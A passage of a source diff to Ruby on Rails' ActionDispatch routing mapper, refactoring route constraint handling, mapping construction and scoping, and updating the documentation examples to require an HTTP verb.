- @app, @constraints, @request = app, constraints, request
- end
+ def initialize(app, constraints, dispatcher_p)
+ # Unwrap Constraints objects. I don't actually think it's possible
+ # to pass a Constraints object to this constructor, but there were
+ # multiple places that kept testing children of this object. I
+ # *think* they were just being defensive, but I have no idea.
+ if app.is_a?(self.class)
+ constraints += app.constraints
+ app = app.app
+ end
- def matches?(env)
- req = @request.new(env)
+ @dispatcher = dispatcher_p
- @constraints.each { |constraint|
- if constraint.respond_to?(:matches?) && !constraint.matches?(req)
- return false
- elsif constraint.respond_to?(:call) && !constraint.call(*constraint_args(constraint, req))
- return false
- end
- }
+ @app, @constraints, = app, constraints
+ end
- return true
- ensure
- req.reset_parameters
+ def dispatcher?; @dispatcher; end
+
+ def matches?(req)
+ @constraints.all? do |constraint|
+ (constraint.respond_to?(:matches?) && constraint.matches?(req)) ||
+ (constraint.respond_to?(:call) && constraint.call(*constraint_args(constraint, req)))
+ end
end
- def call(env)
- matches?(env) ? @app.call(env) : [ 404, {'X-Cascade' => 'pass'}, [] ]
+ def serve(req)
+ return [ 404, {'X-Cascade' => 'pass'}, [] ] unless matches?(req)
+
+ if dispatcher?
+ @app.serve req
+ else
+ @app.call req.env
+ end
end
private
def constraint_args(constraint, request)
- constraint.arity == 1 ? [request] : [request.symbolized_path_parameters, request]
+ constraint.arity == 1 ? [request] : [request.path_parameters, request]
end
end
class Mapping #:nodoc:
- IGNORE_OPTIONS = [:to, :as, :via, :on, :constraints, :defaults, :only, :except, :anchor, :shallow, :shallow_path, :shallow_prefix]
ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z}
- SHORTHAND_REGEX = %r{/[\w/]+$}
- WILDCARD_PATH = %r{\*([^/\)]+)\)?$}
- def initialize(set, scope, path, options)
- @set, @scope = set, scope
- @segment_keys = nil
- @options = (@scope[:options] || {}).merge(options)
- @path = normalize_path(path)
- normalize_options!
+ attr_reader :requirements, :conditions, :defaults
+ attr_reader :to, :default_controller, :default_action, :as, :anchor
- via_all = @options.delete(:via) if @options[:via] == :all
+ def self.build(scope, set, path, as, options)
+ options = scope[:options].merge(options) if scope[:options]
- if !via_all && request_method_condition.empty?
- msg = "You should not use the `match` method in your router without specifying an HTTP method.\n" \
- "If you want to expose your action to GET, use `get` in the router:\n\n" \
- " Instead of: match \"controller#action\"\n" \
- " Do: get \"controller#action\""
- raise msg
- end
- end
+ options.delete :only
+ options.delete :except
+ options.delete :shallow_path
+ options.delete :shallow_prefix
+ options.delete :shallow
- def to_route
- [ app, conditions, requirements, defaults, @options[:as], @options[:anchor] ]
+ defaults = (scope[:defaults] || {}).merge options.delete(:defaults) || {}
+
+ new scope, set, path, defaults, as, options
end
- private
+ def initialize(scope, set, path, defaults, as, options)
+ @requirements, @conditions = {}, {}
+ @defaults = defaults
+ @set = set
- def normalize_options!
- path_without_format = @path.sub(/\(\.:format\)$/, '')
+ @to = options.delete :to
+ @default_controller = options.delete(:controller) || scope[:controller]
+ @default_action = options.delete(:action) || scope[:action]
+ @as = as
+ @anchor = options.delete :anchor
- if using_match_shorthand?(path_without_format, @options)
- to_shorthand = @options[:to].blank?
- @options[:to] ||= path_without_format.gsub(/\(.*\)/, "")[1..-1].sub(%r{/([^/]*)$}, '#\1')
- end
+ formatted = options.delete :format
+ via = Array(options.delete(:via) { [] })
+ options_constraints = options.delete :constraints
- @options.merge!(default_controller_and_action(to_shorthand))
+ path = normalize_path! path, formatted
+ ast = path_ast path
+ path_params = path_params ast
- requirements.each do |name, requirement|
- # segment_keys.include?(k.to_s) || k == :controller
- next unless Regexp === requirement && !constraints[name]
+ options = normalize_options!(options, formatted, path_params, ast, scope[:module])
- if requirement.source =~ ANCHOR_CHARACTERS_REGEX
- raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}"
- end
- if requirement.multiline?
- raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+
+ split_constraints(path_params, scope[:constraints]) if scope[:constraints]
+ constraints = constraints(options, path_params)
+
+ split_constraints path_params, constraints
+
+ @blocks = blocks(options_constraints, scope[:blocks])
+
+ if options_constraints.is_a?(Hash)
+ split_constraints path_params, options_constraints
+ options_constraints.each do |key, default|
+ if URL_OPTIONS.include?(key) && (String === default || Fixnum === default)
+ @defaults[key] ||= default
end
end
+ end
+
+ normalize_format!(formatted)
+
+ @conditions[:path_info] = path
+ @conditions[:parsed_path_info] = ast
- if @options[:constraints].is_a?(Hash)
- (@options[:defaults] ||= {}).reverse_merge!(defaults_from_constraints(@options[:constraints]))
+ add_request_method(via, @conditions)
+ normalize_defaults!(options)
+ end
+
+ def to_route
+ [ app(@blocks), conditions, requirements, defaults, as, anchor ]
+ end
+
+ private
+
+ def normalize_path!(path, format)
+ path = Mapper.normalize_path(path)
+
+ if format == true
+ "#{path}.:format"
+ elsif optional_format?(path, format)
+ "#{path}(.:format)"
+ else
+ path
end
end
- # match "account/overview"
- def using_match_shorthand?(path, options)
- path && (options[:to] || options[:action]).nil? && path =~ SHORTHAND_REGEX
+ def optional_format?(path, format)
+ format != false && !path.include?(':format') && !path.end_with?('/')
end
- def normalize_path(path)
- raise ArgumentError, "path is required" if path.blank?
- path = Mapper.normalize_path(path)
+ def normalize_options!(options, formatted, path_params, path_ast, modyoule)
+ # Add a constraint for wildcard route to make it non-greedy and match the
+ # optional format part of the route by default
+ if formatted != false
+ path_ast.grep(Journey::Nodes::Star) do |node|
+ options[node.name.to_sym] ||= /.+?/
+ end
+ end
- if path.match(':controller')
- raise ArgumentError, ":controller segment is not allowed within a namespace block" if @scope[:module]
+ if path_params.include?(:controller)
+ raise ArgumentError, ":controller segment is not allowed within a namespace block" if modyoule
# Add a default constraint for :controller path segments that matches namespaced
# controllers with default routes like :controller/:action/:id(.:format), e.g:
# GET /admin/products/show/1
# => { controller: 'admin/products', action: 'show', id: '1' }
- @options[:controller] ||= /.+?/
+ options[:controller] ||= /.+?/
end
- # Add a constraint for wildcard route to make it non-greedy and match the
- # optional format part of the route by default
- if path.match(WILDCARD_PATH) && @options[:format] != false
- @options[$1.to_sym] ||= /.+?/
- end
-
- if @options[:format] == false
- @options.delete(:format)
- path
- elsif path.include?(":format") || path.end_with?('/')
- path
- elsif @options[:format] == true
- "#{path}.:format"
+ if to.respond_to? :call
+ options
else
- "#{path}(.:format)"
+ to_endpoint = split_to to
+ controller = to_endpoint[0] || default_controller
+ action = to_endpoint[1] || default_action
+
+ controller = add_controller_module(controller, modyoule)
+
+ options.merge! check_controller_and_action(path_params, controller, action)
end
end
- def app
- Constraints.new(
- to.respond_to?(:call) ? to : Routing::RouteSet::Dispatcher.new(:defaults => defaults),
- blocks,
- @set.request_class
- )
+ def split_constraints(path_params, constraints)
+ constraints.each_pair do |key, requirement|
+ if path_params.include?(key) || key == :controller
+ verify_regexp_requirement(requirement) if requirement.is_a?(Regexp)
+ @requirements[key] = requirement
+ else
+ @conditions[key] = requirement
+ end
+ end
end
- def conditions
- { :path_info => @path }.merge!(constraints).merge!(request_method_condition)
+ def normalize_format!(formatted)
+ if formatted == true
+ @requirements[:format] ||= /.+/
+ elsif Regexp === formatted
+ @requirements[:format] = formatted
+ @defaults[:format] = nil
+ elsif String === formatted
+ @requirements[:format] = Regexp.compile(formatted)
+ @defaults[:format] = formatted
+ end
end
- def requirements
- @requirements ||= (@options[:constraints].is_a?(Hash) ? @options[:constraints] : {}).tap do |requirements|
- requirements.reverse_merge!(@scope[:constraints]) if @scope[:constraints]
- @options.each { |k, v| requirements[k] ||= v if v.is_a?(Regexp) }
+ def verify_regexp_requirement(requirement)
+ if requirement.source =~ ANCHOR_CHARACTERS_REGEX
+ raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}"
end
- end
- def defaults
- @defaults ||= (@options[:defaults] || {}).tap do |defaults|
- defaults.reverse_merge!(@scope[:defaults]) if @scope[:defaults]
- @options.each { |k, v| defaults[k] = v unless v.is_a?(Regexp) || IGNORE_OPTIONS.include?(k.to_sym) }
+ if requirement.multiline?
+ raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}"
end
end
- def default_controller_and_action(to_shorthand=nil)
- if to.respond_to?(:call)
- { }
- else
- if to.is_a?(String)
- controller, action = to.split('#')
- elsif to.is_a?(Symbol)
- action = to.to_s
+ def normalize_defaults!(options)
+ options.each_pair do |key, default|
+ unless Regexp === default
+ @defaults[key] = default
end
+ end
+ end
- controller ||= default_controller
- action ||= default_action
+ def verify_callable_constraint(callable_constraint)
+ unless callable_constraint.respond_to?(:call) || callable_constraint.respond_to?(:matches?)
+ raise ArgumentError, "Invalid constraint: #{callable_constraint.inspect} must respond to :call or :matches?"
+ end
+ end
- unless controller.is_a?(Regexp) || to_shorthand
- controller = [@scope[:module], controller].compact.join("/").presence
- end
+ def add_request_method(via, conditions)
+ return if via == [:all]
- if controller.is_a?(String) && controller =~ %r{\A/}
- raise ArgumentError, "controller name should not start with a slash"
- end
+ if via.empty?
+ msg = "You should not use the `match` method in your router without specifying an HTTP method.\n" \
+ "If you want to expose your action to both GET and POST, add `via: [:get, :post]` option.\n" \
+ "If you want to expose your action to GET, use `get` in the router:\n" \
+ " Instead of: match \"controller#action\"\n" \
+ " Do: get \"controller#action\""
+ raise ArgumentError, msg
+ end
- controller = controller.to_s unless controller.is_a?(Regexp)
- action = action.to_s unless action.is_a?(Regexp)
+ conditions[:request_method] = via.map { |m| m.to_s.dasherize.upcase }
+ end
- if controller.blank? && segment_keys.exclude?("controller")
- raise ArgumentError, "missing :controller"
- end
+ def app(blocks)
+ if to.respond_to?(:call)
+ Constraints.new(to, blocks, false)
+ elsif blocks.any?
+ Constraints.new(dispatcher(defaults), blocks, true)
+ else
+ dispatcher(defaults)
+ end
+ end
- if action.blank? && segment_keys.exclude?("action")
- raise ArgumentError, "missing :action"
- end
+ def check_controller_and_action(path_params, controller, action)
+ hash = check_part(:controller, controller, path_params, {}) do |part|
+ translate_controller(part) {
+ message = "'#{part}' is not a supported controller name. This can lead to potential routing problems."
+ message << " See http://guides.rubyonrails.org/routing.html#specifying-a-controller-to-use"
- hash = {}
- hash[:controller] = controller unless controller.blank?
- hash[:action] = action unless action.blank?
- hash
+ raise ArgumentError, message
+ }
end
+
+ check_part(:action, action, path_params, hash) { |part|
+ part.is_a?(Regexp) ? part : part.to_s
+ }
end
- def blocks
- constraints = @options[:constraints]
- if constraints.present? && !constraints.is_a?(Hash)
- [constraints]
+ def check_part(name, part, path_params, hash)
+ if part
+ hash[name] = yield(part)
else
- @scope[:blocks] || []
+ unless path_params.include?(name)
+ message = "Missing :#{name} key on routes definition, please check your routes."
+ raise ArgumentError, message
+ end
+ end
+ hash
+ end
+
+ def split_to(to)
+ case to
+ when Symbol
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Defining a route where `to` is a symbol is deprecated.
+ Please change `to: :#{to}` to `action: :#{to}`.
+ MSG
+
+ [nil, to.to_s]
+ when /#/ then to.split('#')
+ when String
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Defining a route where `to` is a controller without an action is deprecated.
+ Please change `to: :#{to}` to `controller: :#{to}`.
+ MSG
+
+ [to, nil]
+ else
+ []
end
end
- def constraints
- @constraints ||= requirements.reject { |k, v| segment_keys.include?(k.to_s) || k == :controller }
- end
-
- def request_method_condition
- if via = @options[:via]
- list = Array(via).map { |m| m.to_s.dasherize.upcase }
- { :request_method => list }
+ def add_controller_module(controller, modyoule)
+ if modyoule && !controller.is_a?(Regexp)
+ if controller =~ %r{\A/}
+ controller[1..-1]
+ else
+ [modyoule, controller].compact.join("/")
+ end
else
- { }
+ controller
end
end
- def segment_keys
- return @segment_keys if @segment_keys
+ def translate_controller(controller)
+ return controller if Regexp === controller
+ return controller.to_s if controller =~ /\A[a-z_0-9][a-z_0-9\/]*\z/
- @segment_keys = Journey::Path::Pattern.new(
- Journey::Router::Strexp.compile(@path, requirements, SEPARATORS)
- ).names
+ yield
+ end
+
+ def blocks(options_constraints, scope_blocks)
+ if options_constraints && !options_constraints.is_a?(Hash)
+ verify_callable_constraint(options_constraints)
+ [options_constraints]
+ else
+ scope_blocks || []
+ end
end
- def to
- @options[:to]
+ def constraints(options, path_params)
+ constraints = {}
+ required_defaults = []
+ options.each_pair do |key, option|
+ if Regexp === option
+ constraints[key] = option
+ else
+ required_defaults << key unless path_params.include?(key)
+ end
+ end
+ @conditions[:required_defaults] = required_defaults
+ constraints
end
- def default_controller
- @options[:controller] || @scope[:controller]
+ def path_params(ast)
+ ast.grep(Journey::Nodes::Symbol).map { |n| n.name.to_sym }
end
- def default_action
- @options[:action] || @scope[:action]
+ def path_ast(path)
+ parser = Journey::Parser.new
+ parser.parse path
end
- def defaults_from_constraints(constraints)
- url_keys = [:protocol, :subdomain, :domain, :host, :port]
- constraints.select { |k, v| url_keys.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum)) }
+ def dispatcher(defaults)
+ @set.dispatcher defaults
end
end
- # Invokes Rack::Mount::Utils.normalize path and ensure that
+ # Invokes Journey::Router::Utils.normalize_path and ensure that
# (:locale) becomes (/:locale) instead of /(:locale). Except
# for root cases, where the latter is the correct one.
def self.normalize_path(path)
@@ -284,44 +384,64 @@ module ActionDispatch
# because this means it will be matched first. As this is the most popular route
# of most Rails applications, this is beneficial.
def root(options = {})
- options = { :to => options } if options.is_a?(String)
match '/', { :as => :root, :via => :get }.merge!(options)
end
- # Matches a url pattern to one or more routes. Any symbols in a pattern
- # are interpreted as url query parameters and thus available as +params+
- # in an action:
+ # Matches a url pattern to one or more routes.
+ #
+ # You should not use the +match+ method in your router
+ # without specifying an HTTP method.
+ #
+ # If you want to expose your action to both GET and POST, use:
#
# # sets :controller, :action and :id in params
- # match ':controller/:action/:id'
+ # match ':controller/:action/:id', via: [:get, :post]
+ #
+ # Note that +:controller+, +:action+ and +:id+ are interpreted as url
+ # query parameters and thus available through +params+ in an action.
+ #
+ # If you want to expose your action to GET, use +get+ in the router:
+ #
+ # Instead of:
+ #
+ # match ":controller/:action/:id"
+ #
+ # Do:
+ #
+ # get ":controller/:action/:id"
#
# Two of these symbols are special, +:controller+ maps to the controller
# and +:action+ to the controller's action. A pattern can also map
# wildcard segments (globs) to params:
#
- # match 'songs/*category/:title', to: 'songs#show'
+ # get 'songs/*category/:title', to: 'songs#show'
#
# # 'songs/rock/classic/stairway-to-heaven' sets
# # params[:category] = 'rock/classic'
# # params[:title] = 'stairway-to-heaven'
#
+ # To match a wildcard parameter, it must have a name assigned to it.
+ # Without a variable name to attach the glob parameter to, the route
+ # can't be parsed.
+ #
# When a pattern points to an internal route, the route's +:action+ and
# +:controller+ should be set in options or hash shorthand. Examples:
#
- # match 'photos/:id' => 'photos#show'
- # match 'photos/:id', to: 'photos#show'
- # match 'photos/:id', controller: 'photos', action: 'show'
+ # match 'photos/:id' => 'photos#show', via: :get
+ # match 'photos/:id', to: 'photos#show', via: :get
+ # match 'photos/:id', controller: 'photos', action: 'show', via: :get
#
# A pattern can also point to a +Rack+ endpoint i.e. anything that
# responds to +call+:
#
- # match 'photos/:id', to: lambda {|hash| [200, {}, "Coming soon"] }
- # match 'photos/:id', to: PhotoRackApp
+ # match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }, via: :get
+ # match 'photos/:id', to: PhotoRackApp, via: :get
# # Yes, controller actions are just rack endpoints
- # match 'photos/:id', to: PhotosController.action(:show)
+ # match 'photos/:id', to: PhotosController.action(:show), via: :get
#
- # Because request various HTTP verbs with a single action has security
- # implications, is recommendable use HttpHelpers[rdoc-ref:HttpHelpers]
+ # Because requesting various HTTP verbs with a single action has security
+ # implications, you must either specify the actions in
+ # the via options or use one of the HttpHelpers[rdoc-ref:HttpHelpers]
# instead +match+
#
# === Options
@@ -334,14 +454,20 @@ module ActionDispatch
# [:action]
# The route's action.
#
+ # [:param]
+ # Overrides the default resource identifier +:id+ (name of the
+ # dynamic segment used to generate the routes).
+ # You can access that segment from your controller using
+ # <tt>params[<:param>]</tt>.
+ #
# [:path]
# The path prefix for the routes.
#
# [:module]
# The namespace for :controller.
#
- # match 'path', to: 'c#a', module: 'sekret', controller: 'posts'
- # #=> Sekret::PostsController
+ # match 'path', to: 'c#a', module: 'sekret', controller: 'posts', via: :get
+ # # => Sekret::PostsController
#
# See <tt>Scoping#namespace</tt> for its scope equivalent.
#
@@ -359,9 +485,9 @@ module ActionDispatch
# Points to a +Rack+ endpoint. Can be an object that responds to
# +call+ or a string representing a controller's action.
#
- # match 'path', to: 'controller#action'
- # match 'path', to: lambda { |env| [200, {}, "Success!"] }
- # match 'path', to: RackApp
+ # match 'path', to: 'controller#action', via: :get
+ # match 'path', to: lambda { |env| [200, {}, ["Success!"]] }, via: :get
+ # match 'path', to: RackApp, via: :get
#
# [:on]
# Shorthand for wrapping routes in a specific RESTful context. Valid
@@ -381,15 +507,19 @@ module ActionDispatch
# end
#
# [:constraints]
- # Constrains parameters with a hash of regular expressions or an
- # object that responds to <tt>matches?</tt>
+ # Constrains parameters with a hash of regular expressions
+ # or an object that responds to <tt>matches?</tt>. In addition, constraints
+ # other than path can also be specified with any object
+ # that responds to <tt>===</tt> (eg. String, Array, Range, etc.).
#
- # match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }
+ # match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }, via: :get
#
- # class Blacklist
+ # match 'json_only', constraints: { format: 'json' }, via: :get
+ #
+ # class Whitelist
# def matches?(request) request.remote_ip == '1.2.3.4' end
# end
- # match 'path', to: 'c#a', constraints: Blacklist.new
+ # match 'path', to: 'c#a', constraints: Whitelist.new, via: :get
#
# See <tt>Scoping#constraints</tt> for more examples with its scope
# equivalent.
@@ -398,7 +528,7 @@ module ActionDispatch
# Sets defaults for parameters
#
# # Sets params[:format] to 'jpg' by default
- # match 'path', to: 'c#a', defaults: { format: 'jpg' }
+ # match 'path', to: 'c#a', defaults: { format: 'jpg' }, via: :get
#
# See <tt>Scoping#defaults</tt> for its scope equivalent.
#
@@ -407,7 +537,7 @@ module ActionDispatch
# false, the pattern matches any request prefixed with the given path.
#
# # Matches any request starting with 'path'
- # match 'path', to: 'c#a', anchor: false
+ # match 'path', to: 'c#a', anchor: false, via: :get
#
# [:format]
# Allows you to specify the default value for optional +format+
@@ -443,18 +573,21 @@ module ActionDispatch
end
options = app
- app, path = options.find { |k, v| k.respond_to?(:call) }
+ app, path = options.find { |k, _| k.respond_to?(:call) }
options.delete(app) if app
end
raise "A rack application must be specified" unless path
- options[:as] ||= app_name(app)
+ rails_app = rails_app? app
+ options[:as] ||= app.railtie_name if rails_app
+
+ target_as = name_for_action(options[:as], path)
options[:via] ||= :all
match(path, options.merge(:to => app, :anchor => false, :format => false))
- define_generate_prefix(app, options[:as])
+ define_generate_prefix(app, target_as) if rails_app
self
end
@@ -469,36 +602,33 @@ module ActionDispatch
end
end
- private
- def app_name(app)
- return unless app.respond_to?(:routes)
+ # Query if the following named route was already defined.
+ def has_named_route?(name)
+ @set.named_routes.routes[name.to_sym]
+ end
- if app.respond_to?(:railtie_name)
- app.railtie_name
- else
- class_name = app.class.is_a?(Class) ? app.name : app.class.name
- ActiveSupport::Inflector.underscore(class_name).tr("/", "_")
- end
+ private
+ def rails_app?(app)
+ app.is_a?(Class) && app < Rails::Railtie
end
def define_generate_prefix(app, name)
- return unless app.respond_to?(:routes) && app.routes.respond_to?(:define_mounted_helper)
-
- _route = @set.named_routes.routes[name.to_sym]
+ _route = @set.named_routes.get name
_routes = @set
app.routes.define_mounted_helper(name)
- app.routes.singleton_class.class_eval do
- define_method :mounted? do
- true
- end
-
- define_method :_generate_prefix do |options|
- prefix_options = options.slice(*_route.segment_keys)
- # we must actually delete prefix segment keys to avoid passing them to next url_for
- _route.segment_keys.each { |k| options.delete(k) }
- _routes.url_helpers.send("#{name}_path", prefix_options)
+ app.routes.extend Module.new {
+ def optimize_routes_generation?; false; end
+ define_method :find_script_name do |options|
+ if options.key? :script_name
+ super(options)
+ else
+ prefix_options = options.slice(*_route.segment_keys)
+ # we must actually delete prefix segment keys to avoid passing them to next url_for
+ _route.segment_keys.each { |k| options.delete(k) }
+ _routes.url_helpers.send("#{name}_path", prefix_options)
+ end
end
- end
+ }
end
end
@@ -546,8 +676,7 @@ module ActionDispatch
private
def map_method(method, args, &block)
options = args.extract_options!
- options[:via] = method
- options[:path] ||= args.first if args.first.is_a?(String)
+ options[:via] = method
match(*args, options, &block)
self
end
@@ -586,7 +715,7 @@ module ActionDispatch
# resources :posts, module: "admin"
#
# If you want to route /admin/posts to +PostsController+
- # (without the Admin:: module prefix), you could use
+ # (without the <tt>Admin::</tt> module prefix), you could use
#
# scope "/admin" do
# resources :posts
@@ -640,34 +769,45 @@ module ActionDispatch
# end
def scope(*args)
options = args.extract_options!.dup
- recover = {}
+ scope = {}
options[:path] = args.flatten.join('/') if args.any?
options[:constraints] ||= {}
+ unless nested_scope?
+ options[:shallow_path] ||= options[:path] if options.key?(:path)
+ options[:shallow_prefix] ||= options[:as] if options.key?(:as)
+ end
+
if options[:constraints].is_a?(Hash)
- (options[:defaults] ||= {}).reverse_merge!(defaults_from_constraints(options[:constraints]))
+ defaults = options[:constraints].select do
+ |k, v| URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum))
+ end
+
+ (options[:defaults] ||= {}).reverse_merge!(defaults)
else
block, options[:constraints] = options[:constraints], {}
end
- scope_options.each do |option|
- if value = options.delete(option)
- recover[option] = @scope[option]
- @scope[option] = send("merge_#{option}_scope", @scope[option], value)
+ @scope.options.each do |option|
+ if option == :blocks
+ value = block
+ elsif option == :options
+ value = options
+ else
+ value = options.delete(option)
end
- end
-
- recover[:blocks] = @scope[:blocks]
- @scope[:blocks] = merge_blocks_scope(@scope[:blocks], block)
- recover[:options] = @scope[:options]
- @scope[:options] = merge_options_scope(@scope[:options], options)
+ if value
+ scope[option] = send("merge_#{option}_scope", @scope[option], value)
+ end
+ end
+ @scope = @scope.new scope
yield
self
ensure
- @scope.merge!(recover)
+ @scope = @scope.parent
end
# Scopes routes to a specific controller
@@ -720,9 +860,16 @@ module ActionDispatch
# end
def namespace(path, options = {})
path = path.to_s
- options = { :path => path, :as => path, :module => path,
- :shallow_path => path, :shallow_prefix => path }.merge!(options)
- scope(options) { yield }
+
+ defaults = {
+ module: path,
+ path: options.fetch(:path, path),
+ as: options.fetch(:as, path),
+ shallow_path: options.fetch(:path, path),
+ shallow_prefix: options.fetch(:as, path)
+ }
+
+ scope(defaults.merge!(options)) { yield }
end
# === Parameter Restriction
@@ -794,10 +941,6 @@ module ActionDispatch
end
private
- def scope_options #:nodoc:
- @scope_options ||= private_methods.grep(/^merge_(.+)_scope$/) { $1.to_sym }
- end
-
def merge_path_scope(parent, child) #:nodoc:
Mapper.normalize_path("#{parent}/#{child}")
end
@@ -822,6 +965,10 @@ module ActionDispatch
child
end
+ def merge_action_scope(parent, child) #:nodoc:
+ child
+ end
+
def merge_path_names_scope(parent, child) #:nodoc:
merge_options_scope(parent, child)
end
@@ -851,11 +998,6 @@ module ActionDispatch
def override_keys(child) #:nodoc:
child.key?(:only) || child.key?(:except) ? [:only, :except] : []
end
-
- def defaults_from_constraints(constraints)
- url_keys = [:protocol, :subdomain, :domain, :host, :port]
- constraints.select { |k, v| url_keys.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum)) }
- end
end
# Resource routing allows you to quickly declare all of the common routes
@@ -914,6 +1056,7 @@ module ActionDispatch
@as = options[:as]
@param = (options[:param] || :id).to_sym
@options = options
+ @shallow = false
end
def default_actions
@@ -974,6 +1117,13 @@ module ActionDispatch
"#{path}/:#{nested_param}"
end
+ def shallow=(value)
+ @shallow = value
+ end
+
+ def shallow?
+ @shallow
+ end
end
class SingletonResource < Resource #:nodoc:
@@ -1013,18 +1163,18 @@ module ActionDispatch
# a singular resource to map /profile (rather than /profile/:id) to
# the show action:
#
- # resource :geocoder
+ # resource :profile
#
# creates six different routes in your application, all mapping to
- # the +GeoCoders+ controller (note that the controller is named after
+ # the +Profiles+ controller (note that the controller is named after
# the plural):
#
- # GET /geocoder/new
- # POST /geocoder
- # GET /geocoder
- # GET /geocoder/edit
- # PATCH/PUT /geocoder
- # DELETE /geocoder
+ # GET /profile/new
+ # POST /profile
+ # GET /profile
+ # GET /profile/edit
+ # PATCH/PUT /profile
+ # DELETE /profile
#
# === Options
# Takes same options as +resources+.
@@ -1254,8 +1404,10 @@ module ActionDispatch
end
with_scope_level(:member) do
- scope(parent_resource.member_scope) do
- yield
+ if shallow?
+ shallow_scope(parent_resource.member_scope) { yield }
+ else
+ scope(parent_resource.member_scope) { yield }
end
end
end
@@ -1278,16 +1430,8 @@ module ActionDispatch
end
with_scope_level(:nested) do
- if shallow?
- with_exclusive_scope do
- if @scope[:shallow_path].blank?
- scope(parent_resource.nested_scope, nested_options) { yield }
- else
- scope(@scope[:shallow_path], :as => @scope[:shallow_prefix]) do
- scope(parent_resource.nested_scope, nested_options) { yield }
- end
- end
- end
+ if shallow? && shallow_nesting_depth >= 1
+ shallow_scope(parent_resource.nested_scope, nested_options) { yield }
else
scope(parent_resource.nested_scope, nested_options) { yield }
end
@@ -1304,7 +1448,7 @@ module ActionDispatch
end
def shallow
- scope(:shallow => true, :shallow_path => @scope[:path]) do
+ scope(:shallow => true) do
yield
end
end
@@ -1319,8 +1463,21 @@ module ActionDispatch
def match(path, *rest)
if rest.empty? && Hash === path
options = path
- path, to = options.find { |name, value| name.is_a?(String) }
- options[:to] = to
+ path, to = options.find { |name, _value| name.is_a?(String) }
+
+ case to
+ when Symbol
+ options[:action] = to
+ when String
+ if to =~ /#/
+ options[:to] = to
+ else
+ options[:controller] = to
+ end
+ else
+ options[:to] = to
+ end
+
options.delete(path)
paths = [path]
else
@@ -1334,15 +1491,34 @@ module ActionDispatch
raise ArgumentError, "Unknown scope #{on.inspect} given to :on"
end
- paths.each { |_path| decomposed_match(_path, options.dup) }
+ if @scope[:controller] && @scope[:action]
+ options[:to] ||= "#{@scope[:controller]}##{@scope[:action]}"
+ end
+
+ paths.each do |_path|
+ route_options = options.dup
+ route_options[:path] ||= _path if _path.is_a?(String)
+
+ path_without_format = _path.to_s.sub(/\(\.:format\)$/, '')
+ if using_match_shorthand?(path_without_format, route_options)
+ route_options[:to] ||= path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1')
+ route_options[:to].tr!("-", "_")
+ end
+
+ decomposed_match(_path, route_options)
+ end
self
end
+ def using_match_shorthand?(path, options)
+ path && (options[:to] || options[:action]).nil? && path =~ %r{/[\w/]+$}
+ end
+
def decomposed_match(path, options) # :nodoc:
if on = options.delete(:on)
send(on) { decomposed_match(path, options) }
else
- case @scope[:scope_level]
+ case @scope.scope_level
when :resources
nested { decomposed_match(path, options) }
when :resource
@@ -1355,26 +1531,37 @@ module ActionDispatch
def add_route(action, options) # :nodoc:
path = path_for_action(action, options.delete(:path))
+ raise ArgumentError, "path is required" if path.blank?
+
+ action = action.to_s.dup
- if action.to_s =~ /^[\w\/]+$/
- options[:action] ||= action unless action.to_s.include?("/")
+ if action =~ /^[\w\-\/]+$/
+ options[:action] ||= action.tr('-', '_') unless action.include?("/")
else
action = nil
end
- if !options.fetch(:as, true)
- options.delete(:as)
- else
- options[:as] = name_for_action(options[:as], action)
- end
+ as = if !options.fetch(:as, true) # if it's set to nil or false
+ options.delete(:as)
+ else
+ name_for_action(options.delete(:as), action)
+ end
- mapping = Mapping.new(@set, @scope, URI.parser.escape(path), options)
+ mapping = Mapping.build(@scope, @set, URI.parser.escape(path), as, options)
app, conditions, requirements, defaults, as, anchor = mapping.to_route
@set.add_route(app, conditions, requirements, defaults, as, anchor)
end
- def root(options={})
- if @scope[:scope_level] == :resources
+ def root(path, options={})
+ if path.is_a?(String)
+ options[:to] = path
+ elsif path.is_a?(Hash) and options.empty?
+ options = path
+ else
+ raise ArgumentError, "must be called with a path and/or options"
+ end
+
+ if @scope.resources?
with_scope_level(:root) do
scope(parent_resource.path) do
super(options)
@@ -1397,6 +1584,13 @@ module ActionDispatch
return true
end
+ if options.delete(:shallow)
+ shallow do
+ send(method, resources.pop, options, &block)
+ end
+ return true
+ end
+
if resource_scope?
nested { send(method, resources.pop, options, &block) }
return true
@@ -1434,41 +1628,47 @@ module ActionDispatch
end
def resource_scope? #:nodoc:
- [:resource, :resources].include? @scope[:scope_level]
+ @scope.resource_scope?
end
def resource_method_scope? #:nodoc:
- [:collection, :member, :new].include? @scope[:scope_level]
+ @scope.resource_method_scope?
+ end
+
+ def nested_scope? #:nodoc:
+ @scope.nested?
end
def with_exclusive_scope
begin
- old_name_prefix, old_path = @scope[:as], @scope[:path]
- @scope[:as], @scope[:path] = nil, nil
+ @scope = @scope.new(:as => nil, :path => nil)
with_scope_level(:exclusive) do
yield
end
ensure
- @scope[:as], @scope[:path] = old_name_prefix, old_path
+ @scope = @scope.parent
end
end
- def with_scope_level(kind, resource = parent_resource)
- old, @scope[:scope_level] = @scope[:scope_level], kind
- old_resource, @scope[:scope_level_resource] = @scope[:scope_level_resource], resource
+ def with_scope_level(kind)
+ @scope = @scope.new_level(kind)
yield
ensure
- @scope[:scope_level] = old
- @scope[:scope_level_resource] = old_resource
+ @scope = @scope.parent
end
def resource_scope(kind, resource) #:nodoc:
- with_scope_level(kind, resource) do
- scope(parent_resource.resource_scope) do
- yield
- end
+ resource.shallow = @scope[:shallow]
+ @scope = @scope.new(:scope_level_resource => resource)
+ @nesting.push(resource)
+
+ with_scope_level(kind) do
+ scope(parent_resource.resource_scope) { yield }
end
+ ensure
+ @nesting.pop
+ @scope = @scope.parent
end
def nested_options #:nodoc:
